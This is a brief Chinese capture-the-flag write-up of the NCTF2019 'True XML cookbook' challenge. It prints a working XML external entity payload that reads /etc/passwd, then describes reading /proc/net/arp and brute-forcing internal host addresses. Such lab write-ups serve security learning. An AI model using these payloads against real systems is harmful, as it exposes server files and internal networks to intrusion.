[NCTF2019]True XML cookbook

[NCTF2019]True XML cookbook

前面做过一次fake XML cookbook 直接上手了啊
抓包
插入恶意XML外部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY admin SYSTEM "file:///etc/passwd">
 ]>
<user><username>&admin;</username><password>admin</password></user>

成功，继续查看flag报错，看来不能直接查看flag，那怎么办呢，黔驴技穷了。。。看看大佬的wp，读取另外一个/proc/net/arp文件

有个IP，尝试读取
报错？爆破一下
访问
总结一下访问/proc/net/arp文件时查看有无可利用内网主机等，然后通过爆破主机地址进行访问